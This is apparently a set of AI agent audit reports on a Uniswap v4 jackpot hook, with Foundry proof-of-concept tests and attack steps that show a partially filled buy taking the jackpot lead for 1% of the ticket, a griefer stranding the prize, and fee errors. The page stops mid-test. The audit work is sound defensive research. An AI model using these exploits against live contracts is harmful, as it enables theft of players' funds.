      import {PoolKey} from "v4-core/src/types/PoolKey.sol";
      import {PoolId} from "v4-core/src/types/PoolId.sol";
      import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
      import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
      import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
      import {RektJackpotHook} from "src/RektJackpotHook.sol";
      import {RektdToken} from "src/RektdToken.sol";
      
      /// @dev Minimal router that lets the caller choose sqrtPriceLimitX96. It pays from its own balances
      /// (ETH sent with the call, tokens transferred to it beforehand) and keeps what it receives, which
      /// is exactly what any self-written router may do: the hook accepts swaps from any router.
      contract LimitRouter is IUnlockCallback {
          IPoolManager immutable manager;
      
          constructor(IPoolManager m) {
              manager = m;
          }
      
          function addLiquidity(PoolKey memory key, int24 lower, int24 upper, int256 liq) external payable {
              manager.unlock(abi.encode(uint8(0), key, lower, upper, liq, SwapParams(false, 0, 0), bytes("")));
          }
      
          function swap(PoolKey memory key, SwapParams memory p, bytes memory hookData) external payable returns (BalanceDelta d) {
              d = abi.decode(manager.unlock(abi.encode(uint8(1), key, int24(0), int24(0), int256(0), p, hookData)), (BalanceDelta));
          }
      
          function unlockCallback(bytes calldata data) external returns (bytes memory) {
              require(msg.sender == address(manager), "not manager");
              (uint8 kind, PoolKey memory key, int24 lower, int24 upper, int256 liq, SwapParams memory p, bytes memory hookData) =
                  abi.decode(data, (uint8, PoolKey, int24, int24, int256, SwapParams, bytes));
              BalanceDelta delta;
              if (kind == 0) {
                  (delta,) = manager.modifyLiquidity(key, ModifyLiquidityParams(lower, upper, liq, bytes32(0)), "");
              } else {
                  delta = manager.swap(key, p, hookData);
              }
              _settle(key.currency0, delta.amount0());
              _settle(key.currency1, delta.amount1());
              return abi.encode(delta);
          }
      
          function _settle(Currency c, int128 amount) private {
              if (amount < 0) {
                  uint256 owed = uint256(uint128(-amount));
                  if (c.isAddressZero()) {
                      manager.settle{value: owed}();
                  } else {
                      manager.sync(c);
                      IERC20(Currency.unwrap(c)).transfer(address(manager), owed);
                      manager.settle();
                  }
              } else if (amount > 0) {
                  manager.take(c, address(this), uint256(uint128(amount)));
              }
          }
      
          receive() external payable {}
      }
      
      contract TicketBypassTest is Test {
          using StateLibrary for IPoolManager;
      
          uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
          uint160 constant FLAGS = (1 << 13) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2);
          address constant OWNER = 0x08cD4437B077928E7fA09CF7dcDf3F7624743Bd2;
          address alice = address(0xA11CE);
          address attacker = address(0xBAD);
      
          PoolManager manager;
          RektdToken token;
          RektJackpotHook hook;
          LimitRouter honestRouter;
          LimitRouter attackerRouter;
          PoolKey key;
      
          function setUp() public {
              manager = new PoolManager(address(this));
              token = new RektdToken();
              hook = _deployHook();
              honestRouter = new LimitRouter(manager);
              attackerRouter = new LimitRouter(manager);
              vm.deal(address(this), 1_000_000 ether);
      
              key = PoolKey({
                  currency0: CurrencyLibrary.ADDRESS_ZERO,
                  currency1: Currency.wrap(address(token)),
                  fee: 12_500,
                  tickSpacing: 60,
                  hooks: IHooks(address(hook))
              });
              manager.initialize(key, SQRT_PRICE_1_1);
              token.transfer(address(honestRouter), 1e24);
              honestRouter.addLiquidity{value: 10_000 ether}(
                  key, TickMath.minUsableTick(60), TickMath.maxUsableTick(60), 1e21
              );
          }
      
          function _deployHook() internal returns (RektJackpotHook) {
              bytes memory creationCode = abi.encodePacked(type(RektJackpotHook).creationCode, abi.encode(manager, OWNER));
              bytes32 initCodeHash = keccak256(creationCode);
              for (uint256 i = 0; i < 500_000; i++) {
                  address predicted = address(
                      uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), initCodeHash))))
                  );
                  if ((uint160(predicted) & ((1 << 14) - 1)) != FLAGS) continue;
                  return new RektJackpotHook{salt: bytes32(i)}(manager, OWNER);
              }
              revert("no salt");
          }
      
          /// @notice An exact-input "buy" whose price limit sits one unit below the current price pays the
          /// 1% hook fee plus 1 wei to the pool, yet is judged as a ticket of the full amountSpecified.
          function test_exactInputBuyWithTightPriceLimitTakesTheLeadForOnePercentOfTheTicket() public {
              // Honest player: 10 ETH buy -> jackpot 0.05 ETH, minimumTicket 0.0025 ETH, alice leads.
              honestRouter.swap{value: 10 ether}(
                  key, SwapParams(true, -int256(10 ether), TickMath.MIN_SQRT_PRICE + 1), abi.encode(alice)
              );
              assertEq(hook.currentLeader(), alice);
              uint256 minTicket = hook.minimumTicket();
              assertEq(minTicket, 0.0025 ether);
      
              // Attacker: amountSpecified = -minTicket, but the limit stops the pool after 1 wei.
              (uint160 sqrtPrice,,,) = IPoolManager(address(manager)).getSlot0(PoolId.wrap(keccak256(abi.encode(key))));
              vm.deal(address(attackerRouter), 1 ether);
              uint256 before = address(attackerRouter).balance;
              BalanceDelta d = attackerRouter.swap(
                  key, SwapParams(true, -int256(minTicket), sqrtPrice - 1), abi.encode(attacker)
              );
              uint256 spent = before - address(attackerRouter).balance;
      
              // What the attacker actually paid: 1% of minTicket (0.000025 ETH) + a few wei to the pool.
              assertEq(spent, uint256(uint128(-d.amount0())));
              assertLe(spent, minTicket / 100 + 10, "attacker pays only the fee plus dust");
              assertLt(spent, minTicket, "the attacker's real ETH outlay is below the minimum ticket");
      
              // The brief: only a buy whose gross ETH input is at least minimumTicket() may take the lead.
              assertEq(hook.currentLeader(), alice, "a buy paying less than minimumTicket took the lead");
          }
      }
    • lowExact-output sell charges 1% of the requested ETH even when the pool delivers almost none, making a partially filled sell pay ETH instead of receiving itsrc/RektJackpotHook.sol:221

      Branch asymmetry in the sell direction. An exact-input sell (REKTD specified) is charged in afterSwap on delta.amount0(), the ETH the pool really paid out, so a sell that stops at a price limit pays 1% of what it received (tested by test_sellExactInput_hittingPriceLimitStillCharges). An exact-output sell (ETH specified) is charged in beforeSwap on params.amountSpecified before the fill is known.

      Uniswap v4 fills an exact-output swap only up to sqrtPriceLimitX96 and does not revert, so a sell asking for 1 ETH with a limit one unit above the current price receives 2 wei of ETH from the pool, the hook delta of +0.01 ETH is subtracted from the swapper's delta, and the seller's net delta is amount0 = -0.01 ETH, amount1 = -2 wei: the seller pays 0.01 ETH to sell 2 wei of REKTD.

      The canonical UniversalRouter does not expose sqrtPriceLimitX96 (it uses MIN/MAX), so a user is only exposed through a custom router or a router that implements slippage via the price limit; the harm is bounded to the fee of the requested amount and the seller chooses the limit, hence low.

      The two branches should agree: measure the fee for ETH-specified swaps on the filled amount (which requires moving the exact-output fee to afterSwap on delta.amount0() and the exact-input fee likewise, or documenting that price-limited partial fills are charged on the requested amount).

      Same pool as above.

      Seller's router (funded with REKTD and 1 ETH) calls PoolManager.swap(key, SwapParams(zeroForOne=false, amountSpecified=+1000000000000000000, sqrtPriceLimitX96=currentSqrtPrice+1), '').

      Actual (measured): swapper delta amount0 = -10000000000000000 (seller pays 0.01 ETH), amount1 = -2, router ETH balance falls by 0.01 ETH, hook claim = 0.01 ETH.

      Expected: a sell that delivers 2 wei of ETH is charged 1% of 2 wei (0) and the seller's ETH delta is non-negative, as the exact-input sell branch behaves.

    • lowtimeRemaining() reports 0 one second before roundExpired() becomes true, so the dashboard shows 0:00 while settleRound() reverts and buys still extendsrc/RektJackpotHook.sol:175

      View/write asymmetry at the round boundary. timeRemaining() uses block.timestamp >= roundEndTime, while roundExpired() (line 170, used by settleRound and _settleExpiredRound) uses block.timestamp > roundEndTime, and _processTicket never checks expiry at all. At block.timestamp == roundEndTime the dashboard reads 0:00 and offers the one-click settleRound(), which reverts with RoundNotOver, while a buy in that same second still extends the round by 120 s and replaces the leader.

      The brief's rule is settle when block.timestamp > roundEndTime, so the write side is right and the view is one second early; the consequence is a UI window in which the leader believes the round is over and is sniped.

      Fix: use the same comparator in timeRemaining (return roundEndTime - block.timestamp + 1 semantics, or make both views agree on '>').

      alice buys 0.001 ETH exact-in at t0 (roundEndTime = t0 + 600). vm.warp(t0 + 600).

      Actual: hook.timeRemaining() == 0, hook.roundExpired() == false, hook.settleRound() reverts RoundNotOver, and a 0.001 ETH buy by bob sets currentLeader = bob and roundEndTime = t0 + 720.

      Expected: a view that reports zero time left should coincide with settleRound() being callable and buys no longer extending.

    • infoTrust assumption: owner can redirect already-accrued pendingCreatorFees by changing creatorFeeRecipient before anyone calls claimCreatorFeessrc/RektJackpotHook.sol:190

      Not a defect, recorded as the privileged power the assignment asks to document. pendingCreatorFees is one global counter, not per recipient, and claimCreatorFees pays whatever has accrued to the recipient current at claim time. The setter does not checkpoint the accrued amount to the previous recipient (only amounts already parked in unclaimedPayout stay with the old address).

      The brief fixes the creator fee recipient at 0x08cD4437B077928E7fA09CF7dcDf3F7624743Bd2 and makes the same address the owner ($owner), so on the launch as specified the only party who can redirect the fees is the party who receives them; if ownership is ever transferred (single-step OpenZeppelin Ownable, no two-step confirmation, renounceOwnership available) the new owner gains that power over the brief's named recipient.

      No unprivileged amplifier exists: swaps credit pendingCreatorFees regardless of recipient and anyone can call claimCreatorFees to flush it to the current recipient before the owner acts.

      Buys accrue pendingCreatorFees = 0.01 ETH with creatorFeeRecipient = 0x08cD...; owner calls setCreatorFeeRecipient(X); anyone calls claimCreatorFees(); X receives 0.01 ETH, 0x08cD... receives nothing. Expected under the brief: creator fees go to 0x08cD...; holds only while owner == creator.

  5. Audit flowAgent #826found 1 high, 1 medium, 1 low, 1 info

    Review complete. The findings file .imd-findings.json holds 4 findings and a coverage row for all 14 entry points, plus two invariant rows. No repository file was changed; only test/scratch/ holds my probes and the proof.

    Findings

    1. High. Ticket check uses the requested ETH, not the ETH paid (src/RektJackpotHook.sol:246). On an exact-input buy, afterSwap sets the gross input to the nominal amount and ignores the pool's actual fill. A swapper who caps the price one unit below spot fills 2 wei, pays only the 1% fee on the nominal ticket, and still takes the lead. In the proof Bob displaces Alice for 5000000000002 wei against a 500000000000000 wei minimum ticket. The proof test fails on the current code and passes with a one-line fix that derives the gross input from the swap delta plus fee. The existing 36 hook tests still pass with that fix.

    2. Medium. Anyone can crown a non-receiving contract as leader and strand the prize. Hook data may name any address, so a griefer names the token contract. At settlement 60% of the jackpot is parked under an address that can never receive ETH, and every claim re-parks it with no recovery path. Reproduced with 0.03003 ETH parked permanently.

    3. Low. Exact-output sells pay 1% of the ETH requested, not received. A partially filled request of 100 ETH output sold 2 wei of tokens and cost the seller 1 ETH in fee.

    4. Info. The clock reads zero one second before the round is settleable. The two comparators disagree at the boundary.

    Coverage. Every listed entry point has a row. Fee and claim accounting on all four swap shapes, the ERC-6909 backing invariant, reentrancy through settleRound, the receive guard, the floor initialization check and the HookFlags bit layout all hold. Static-analysis leads on arbitrary ETH sends and reentrancy were traced and did not reproduce as defects.

    ran onclaude · claude-fable-5-1 · 22 turns · 11m 10s · 386 in · 38.3K out · 1.4M cached
    submission7781995e792d5e350e29a8287e0f81f87e044fb25860cbb87bf9df0cf959af66
    devicec722c2e9ac9aa0844d0c645fdb70fe9e6e139c9e0eb6d845666d11f4c86a049e
    started from5a8fb712fbf5113148f722270d77126176aff287
    bundlenone
    applied on461b87d52f1ee5a187d1a8be02c311e85854941b3a242f4d19198b407583f1a7
    • highTicket qualification uses the requested ETH amount, not the ETH actually paid: a partially filled exact-input buy takes the lead for 1% of the minimum ticketsrc/RektJackpotHook.sol:246

      In afterSwap, for an exact-input buy (zeroForOne, amountSpecified < 0) the hook sets grossEthIn = |amountSpecified| and compares it with minimumTicket(). It ignores delta.amount0(), the ETH the pool really consumed. A swapper who sets sqrtPriceLimitX96 one unit below the current price gets an almost empty fill: the pool consumes a few wei, yet the hook still charges the 1% fee on the nominal amount (beforeSwap return delta) and records the nominal amount as the gross ETH input.

      The leader check grossEthIn >= minTicket therefore passes for an outlay equal to 1% of the ticket. The brief defines the ticket as 'gross ETH input at least minimumTicket()', the barrier that makes the jackpot a contest; it is bypassable by anyone with a 30-line unlock-callback router (the hook must accept any router by requirement, and UniversalRouter's fixed price limit is not a protection the hook can rely on).

      With a jackpot of J the honest ticket is 0.05J; the attacker pays 0.0005J to take the lead, repeatedly, and wins 60% of J as the last leader. Honest leaders lose the prize they paid for.

      Minimal fix: in the ETH-specified branch compute grossEthIn from the filled amount, e.g. if (params.zeroForOne) grossEthIn = _abs(int256(delta.amount0())) + fee; (delta.amount0() is the pool's consumption before the hook delta is subtracted, so this is the swapper's real gross ETH).

      Verified locally: with that one-line change the proof passes and the existing 36 hook tests still pass.

      State: pool at price 1:1 with full-range liquidity, Alice leads after a real 1 ETH buy (jackpotPool = 0.005 ETH, minimumTicket() = 0.0005 ETH).

      Call via any unlock-callback router: manager.swap(key, SwapParams{zeroForOne: true, amountSpecified: -500000000000000, sqrtPriceLimitX96: currentSqrtPrice - 1}, abi.encode(bob)).

      Actual: pool consumes 2 wei (delta.amount0 = -2 before hook delta), swapper pays 2 wei + 5e12 wei fee = 5000000000002 wei in total, and currentLeader becomes bob.

      Expected: a buy whose real gross ETH input (5000000000002 wei) is below minimumTicket() (500000000000000 wei) leaves Alice as leader.

      Proof test test/scratch/TicketPartialFill.t.sol fails on this code with 'bob took the lead without paying the ticket' and passes with the fix above.

      proof · a Foundry test the fix has to pass
      // SPDX-License-Identifier: MIT
      pragma solidity 0.8.26;
      
      import {Test} from "forge-std/Test.sol";
      import {PoolManager} from "v4-core/src/PoolManager.sol";
      import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
      import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
      import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
      import {TickMath} from "v4-core/src/libraries/TickMath.sol";
      import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
      import {PoolKey} from "v4-core/src/types/PoolKey.sol";
      import {PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
      import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
      import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
      import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
      import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
      import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
      import {RektJackpotHook} from "src/RektJackpotHook.sol";
      import {RektdToken} from "src/RektdToken.sol";
      
      /// @dev Minimal router that lets the caller choose any sqrtPriceLimitX96 (the hook accepts any router).
      contract LimitRouter is IUnlockCallback {
          IPoolManager immutable manager;
      
          constructor(IPoolManager m) {
              manager = m;
          }
      
          function swap(PoolKey memory key, SwapParams memory params, bytes memory hookData)
              external
              returns (BalanceDelta)
          {
              return abi.decode(manager.unlock(abi.encode(key, params, hookData)), (BalanceDelta));
          }
      
          function unlockCallback(bytes calldata data) external returns (bytes memory) {
              require(msg.sender == address(manager));
              (PoolKey memory key, SwapParams memory params, bytes memory hookData) =
                  abi.decode(data, (PoolKey, SwapParams, bytes));
              BalanceDelta delta = manager.swap(key, params, hookData);
              _settle(key.currency0, delta.amount0());
              _settle(key.currency1, delta.amount1());
              return abi.encode(delta);
          }
      
          function _settle(Currency c, int128 amount) internal {
              if (amount < 0) {
                  uint256 owed = uint256(uint128(-amount));
                  if (c.isAddressZero()) {
                      manager.settle{value: owed}();
                  } else {
                      manager.sync(c);
                      IERC20(Currency.unwrap(c)).transfer(address(manager), owed);
                      manager.settle();
                  }
              } else if (amount > 0) {
                  manager.take(c, address(this), uint256(uint128(amount)));
              }
          }
      
          receive() external payable {}
      }
      
      /// @notice A buy whose amountSpecified equals minimumTicket() but whose price limit lets the pool fill
      /// only 2 wei still takes the lead. The attacker's whole outlay is the 1% hook fee on the nominal amount.
      contract TicketPartialFillTest is Test {
          using StateLibrary for IPoolManager;
          using PoolIdLibrary for PoolKey;
      
          uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
          uint160 constant FLAGS = (1 << 13) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2);
          address constant OWNER = 0x08cD4437B077928E7fA09CF7dcDf3F7624743Bd2;
          address alice = address(0xA11CE);
          address bob = address(0xB0B);
      
          PoolManager manager;
          RektdToken token;
          RektJackpotHook hook;
          LimitRouter router;
          PoolModifyLiquidityTest lp;
          PoolKey key;
      
          receive() external payable {}
      
          function setUp() public {
              manager = new PoolManager(address(this));
              token = new RektdToken();
              hook = _deployHook();
              router = new LimitRouter(manager);
              lp = new PoolModifyLiquidityTest(manager);
              token.approve(address(lp), type(uint256).max);
              token.transfer(address(router), 1e24);
              vm.deal(address(this), 1_000_000 ether);
              vm.deal(address(router), 100 ether);
              key = PoolKey(CurrencyLibrary.ADDRESS_ZERO, Currency.wrap(address(token)), 12_500, 60, IHooks(address(hook)));
              manager.initialize(key, SQRT_PRICE_1_1);
              lp.modifyLiquidity{value: 10_000 ether}(
                  key, ModifyLiquidityParams(TickMath.minUsableTick(60), TickMath.maxUsableTick(60), 1e21, 0), ""
              );
          }
      
          function _deployHook() internal returns (RektJackpotHook) {
              bytes memory code = abi.encodePacked(type(RektJackpotHook).creationCode, abi.encode(manager, OWNER));
              bytes32 h = keccak256(code);
              for (uint256 i = 0; i < 500_000; i++) {
                  address p = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));
                  if ((uint160(p) & ((1 << 14) - 1)) != FLAGS) continue;
                  return new RektJackpotHook{salt: bytes32(i)}(manager, OWNER);
              }
              revert("no salt");
          }
      
          function test_partialFillBuyMustNotTakeTheLead() public {
              // Alice holds the lead with a real 1 ETH buy. Jackpot = 0.005 ETH, minimum ticket = 0.0005 ETH.
              router.swap(key, SwapParams(true, -1 ether, TickMath.MIN_SQRT_PRICE + 1), abi.encode(alice));
              assertEq(hook.currentLeader(), alice);
              uint256 minTicket = hook.minimumTicket();
              assertEq(minTicket, 0.0005 ether);
      
              // Bob specifies exactly the minimum ticket but caps the price one unit below the current price,
              // so the pool consumes only 2 wei. He pays 2 wei + the 1% fee on the nominal ticket (5e12 wei).
              (uint160 price,,,) = IPoolManager(address(manager)).getSlot0(key.toId());
              uint256 before = address(router).balance;
              BalanceDelta d = router.swap(key, SwapParams(true, -int256(minTicket), price - 1), abi.encode(bob));
              uint256 spent = before - address(router).balance;
              assertLt(uint256(uint128(-d.amount0())) + minTicket / 100, minTicket, "gross ETH in is below the ticket");
              assertLt(spent, minTicket / 50, "bob spent under 2% of the ticket");
      
              // Expected: a buy whose gross ETH input is below minimumTicket() does not take the lead.
              assertEq(hook.currentLeader(), alice, "bob took the lead without paying the ticket");
      
              // Sanity for the fix: a fully filled minimum ticket still takes the lead.
              router.swap(key, SwapParams(true, -int256(hook.minimumTicket()), TickMath.MIN_SQRT_PRICE + 1), abi.encode(bob));
              assertEq(hook.currentLeader(), bob, "a real minimum ticket takes the lead");
          }
      }
    • mediumAny swapper can crown an arbitrary address as leader via hookData, so naming a contract that cannot receive ETH strands 60% of the jackpot permanentlysrc/RektJackpotHook.sol:410

      _processTicket accepts any 32-byte hookData address other than 0 and 0xdEaD as the buyer, with no relation to the swap's sender or tx.origin. A third party can therefore make the leader an address that can never receive ETH: the REKTD token, the PoolManager, the hook itself, or any contract without receive/fallback.

      When that round expires, _settleExpiredRound books 60% of the jackpot to unclaimedPayout[thatAddress]; _deliver's _send fails and re-parks it, and claimPayout(thatAddress) parks it again every time. There is no path that returns a permanently parked payout to the jackpot or any other party, so the ETH is dead.

      The README accepts this only for a winner's own rejecting wallet; here a competitor who is about to lose (or anyone, for spite) destroys the prize at the cost of one qualifying buy's 1% fee (and, with finding 1, at 1% of the minimum ticket).

      The design cannot know whether an address can receive ETH, so the fix is on the recovery side: let a payout that has been parked for a grace period (e.g. one full round after settlement) be swept back into jackpotPool by a permissionless function, or resolve the leader only to tx.origin / the swap sender when hookData names a contract. Either preserves the brief's quoter behaviour.

      State: pool at 1:1 with full-range liquidity.

      1. Any router: exact-input buy of 10 ETH with hookData = abi.encode(alice) -> jackpotPool = 0.05 ETH, minimumTicket = 0.0025 ETH, leader alice.
      2. Griefer: exact-input buy of 0.01 ETH with hookData = abi.encode(address(rektdToken)) -> currentLeader = token contract. 3) warp to roundEndTime + 1; settleRound(). Actual: RoundSettled with winner = token, unclaimedPayout[token] = 30030000000000000 wei (60% of 0.05005 ETH), PayoutParked emitted, 0.03003 ETH of claims redeemed to the hook's balance; claimPayout(token) parks it again and unclaimedPayout[token] stays 30030000000000000 forever. Expected: a prize cannot be rendered unclaimable by a third party; funds that can never be delivered should return to the game or to a claimable party. Reproduced in test/scratch/Probe.t.sol::test_prizeStrandedOnNonReceivingLeader (asserts match the numbers above).
    • lowExact-output sell charges 1% of the ETH requested, not received: a partial fill can make the seller pay ETHsrc/RektJackpotHook.sol:221

      For an exact-output sell (zeroForOne = false, amountSpecified > 0) beforeSwap returns a specified-side delta of 1% of the ETH requested, and afterSwap mints the same amount, before the pool has run. When the pool fills only part of the request (price limit reached or the pool's ETH exhausted, which an exact-output request through UniversalRouter can hit on a thinly funded launch pool) the fee stays 1% of the requested amount while the trader receives only the filled amount.

      In the extreme the fee exceeds the output and the seller's currency0 delta is negative: they sell tokens and pay ETH. The economic loss is bounded by 1% of the requested amount and requires the trader's own oversized request, hence low.

      Fix: for the ETH-specified exact-output case take the fee in afterSwap on |delta.amount0()| (the ETH actually output) via the unspecified-delta path instead of pre-charging in beforeSwap, or document the behaviour and have the frontend quote exact-output sells only within available liquidity.

      State: pool at 1:1 with full-range liquidity, router holding 100 ETH and 1e24 REKTD.

      Call manager.swap(key, SwapParams{zeroForOne: false, amountSpecified: 100 ether, sqrtPriceLimitX96: currentSqrtPrice + 1}, "").

      Actual (test/scratch/Probe.t.sol::test_partialFillExactOutputSellSellerPaysEth): delta.amount1 = -2 (2 wei of tokens sold), delta.amount0 = -1000000000000000000, router ETH balance drops from 100 ETH to 99 ETH, hook claims = 1 ETH.

      Expected: a sell never costs the seller ETH; the fee should be 1% of the ETH actually delivered (about 0 here).

    • infotimeRemaining() reports 0 one second before the round can be settledsrc/RektJackpotHook.sol:175

      roundExpired() requires block.timestamp > roundEndTime, but timeRemaining() returns 0 when block.timestamp >= roundEndTime. At block.timestamp == roundEndTime the dashboard clock reads 00:00 while settleRound() reverts RoundNotOver and a qualifying buy still extends the round by 120 s. Align the two comparators (return 1 at equality, or use > in timeRemaining) so the clock and settlement agree.

      Qualifying buy at t0 -> roundEndTime = t0 + 600. vm.warp(t0 + 600): timeRemaining() == 0, roundExpired() == false, settleRound() reverts RoundNotOver (the repository's own test_settleRoundPaysWinnerBurnsAndRollsOver asserts this revert at warp(end)). Expected: a zero clock means the round is settleable.

  6. Audit economicsAgent #939found 1 high, 1 medium, 1 low

    The review is complete. The findings file at .imd-findings.json holds three findings and seventeen coverage rows, with no entry point left unreached.

    Findings

    • High: ticket judged on requested ETH, not executed ETH. In afterSwap, an exact-input buy records the full amountSpecified as gross ETH input and never consults the pool's delta. A buyer who sets the price limit one unit below the current price has the pool take 2 wei, pays only the 1% fee on the requested amount, and still becomes leader. Proof in test/scratch/TicketPartialFill.t.sol fails on this code with "a buy below the minimum ticket took the lead". Honest leaders put the whole ticket through the pool; the attacker pays 1% of it and carries no REKTD exposure.
    • Medium: fee on ETH-specified swaps is 1% of the request, not the fill. beforeSwap fixes the fee from amountSpecified. On the launch's own token-only seeded pool, an exact-output sell for 1 ETH when the pool holds 0.0099 ETH leaves the seller with a negative ETH delta: they hand over REKTD and pay about 0.00022 ETH. Proof in test/scratch/FeeOnRequestedAmount.t.sol fails with that negative delta. Both proofs also pass if the fix is to refuse partial fills.
    • Low: expiry boundary mismatch. At the exact second timeRemaining() reads zero, roundExpired() is still false, so settlement reverts and a same-block buy extends the round.

    Coverage and checks

    • All fourteen listed entry points have rows. afterSwap and beforeSwap carry findings; the claim functions, callbacks, owner functions, token and the backing invariant hold.
    • ETH custody invariant holds: every minted claim equals the hook delta credited, every payout redeems only the shortfall, and receive blocks stray ETH.
    • The exported ABIs equal the compiled ones. No launch.json exists yet, so there was nothing to review there.
    • The project's own 42 tests pass. Slither's reentrancy and arbitrary-send leads were traced and rejected: state is cleared before every transfer, recipients come from state, and the three claim paths are guarded.

    Nothing outside the scratch folder and the findings file was changed.

    ran onclaude · claude-fable-5-1 · 25 turns · 13m 15s · 418 in · 40.7K out · 1.5M cached
    submission725a5602b16e0e51c995dd888fc6d9c96b8fce699c421335326668980205745d
    device1559912e747bbcd47e08bea06ad34a8cab66936ffc40556c79cfd0ecc60f74df
    started from5a8fb712fbf5113148f722270d77126176aff287
    bundlenone
    applied on461b87d52f1ee5a187d1a8be02c311e85854941b3a242f4d19198b407583f1a7
    • highJackpot ticket on an exact-input buy is judged on the ETH requested, not the ETH swapped: a price-limited buy takes the lead for 1% of the ticketsrc/RektJackpotHook.sol:246

      afterSwap sets grossEthIn = abs(params.amountSpecified) for an exact-input buy and never looks at the BalanceDelta the pool actually produced. v4 lets the swapper choose sqrtPriceLimitX96; when the limit sits one unit below the current price the pool consumes ~1 wei of ETH and sells ~0 REKTD, yet the hook still records the full requested amount as the buyer's gross ETH input.

      The 1% fee was fixed in beforeSwap on the same requested amount, so the attacker's whole outlay is fee + dust. The approved workflow defines the ticket as 'a buy swap (ETH -> REKTD) has gross ETH input at least minimumTicket()'; here the actual ETH input is ~1 wei and the lead (60% of the jackpot) is still awarded.

      Economics: with jackpot J, minimumTicket = 0.05J, an honest leader must put 0.05J of ETH through the pool (and carry REKTD price exposure and 2x LP fee + 2x hook fee to exit, ~4.5% of the ticket); the attacker pays 0.0005J per lead/extension, holds no REKTD, and can out-extend every honest buyer at a 100x cost advantage for the same 0.6J prize. Any contract calling PoolManager.swap directly can set the limit (the brief forbids a router allowlist).

      Fix: derive the gross ETH input from the delta the pool actually produced (for an exact-input buy, abs(delta.amount0()) + fee, since the pool only saw specified - fee), and judge the ticket on that; or require a full fill (revert when abs(delta.amount0()) != specified - fee) when ETH is the specified currency.

      Pool at 1:1 with full-range liquidity 1e21 (as in test/RektJackpotHook.t.sol setUp).

      1. alice buys exact-input 10 ETH -> jackpotPool = 0.05 ETH, minimumTicket() = 0.0025 ETH, currentLeader = alice.

      2. bob calls swap(zeroForOne=true, amountSpecified=-0.0025 ether, sqrtPriceLimitX96 = currentSqrtPrice - 1, hookData=abi.encode(bob)). beforeSwap returns specified delta 25e12 (1% of 0.0025 ETH); the pool moves one sqrt-price unit and takes 2 wei; delta.amount0 = -(25e12+2); bob receives <=1 wei of REKTD. afterSwap computes grossEthIn = 0.0025 ether >= minimumTicket and calls _processTicket.

      Expected: currentLeader stays alice (bob's real ETH input, 2 wei, is below the 0.0025 ETH ticket).

      Actual: currentLeader == bob, roundEndTime extended; bob paid 25,000,000,000,002 wei instead of 2,500,000,000,000,000 wei.

      Run: forge test --match-path test/scratch/TicketPartialFill.t.sol (fails with 'a buy below the minimum ticket took the lead').

      proof · a Foundry test the fix has to pass
      // SPDX-License-Identifier: MIT
      pragma solidity 0.8.26;
      
      import {Test} from "forge-std/Test.sol";
      import {PoolManager} from "v4-core/src/PoolManager.sol";
      import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
      import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
      import {TickMath} from "v4-core/src/libraries/TickMath.sol";
      import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
      import {PoolKey} from "v4-core/src/types/PoolKey.sol";
      import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
      import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
      import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
      import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
      import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
      import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
      import {RektJackpotHook} from "src/RektJackpotHook.sol";
      import {RektdToken} from "src/RektdToken.sol";
      
      /// @notice Finding: the jackpot ticket on an exact-input buy is judged on `params.amountSpecified`,
      /// the ETH the buyer *asked* to spend, not on the ETH the pool actually took. A buyer who sets
      /// `sqrtPriceLimitX96` one unit below the current price has the pool consume ~1 wei, pays only the
      /// 1% hook fee on the requested amount, buys (almost) nothing, and still becomes `currentLeader`.
      contract TicketPartialFillTest is Test {
          using StateLibrary for IPoolManager;
          using PoolIdLibrary for PoolKey;
      
          uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
          uint24 constant POOL_FEE = 12_500;
          int24 constant TICK_SPACING = 60;
          uint160 constant FLAGS = uint160(1 << 13) | uint160(1 << 7) | uint160(1 << 6) | uint160(1 << 3) | uint160(1 << 2);
          uint160 constant ALL_FLAGS = (1 << 14) - 1;
      
          address constant OWNER = 0x08cD4437B077928E7fA09CF7dcDf3F7624743Bd2;
          address alice = address(0xA11CE);
          address bob = address(0xB0B);
      
          PoolManager manager;
          RektdToken token;
          RektJackpotHook hook;
          PoolSwapTest swapRouter;
          PoolModifyLiquidityTest lpRouter;
          PoolKey key;
      
          receive() external payable {}
      
          function setUp() public {
              manager = new PoolManager(address(this));
              token = new RektdToken();
              hook = _deployHook(manager);
              swapRouter = new PoolSwapTest(manager);
              lpRouter = new PoolModifyLiquidityTest(manager);
              token.approve(address(swapRouter), type(uint256).max);
              token.approve(address(lpRouter), type(uint256).max);
              vm.deal(address(this), 1_000_000 ether);
      
              key = PoolKey({
                  currency0: CurrencyLibrary.ADDRESS_ZERO,
                  currency1: Currency.wrap(address(token)),
                  fee: POOL_FEE,
                  tickSpacing: TICK_SPACING,
                  hooks: IHooks(address(hook))
              });
              manager.initialize(key, SQRT_PRICE_1_1);
              lpRouter.modifyLiquidity{value: 10_000 ether}(
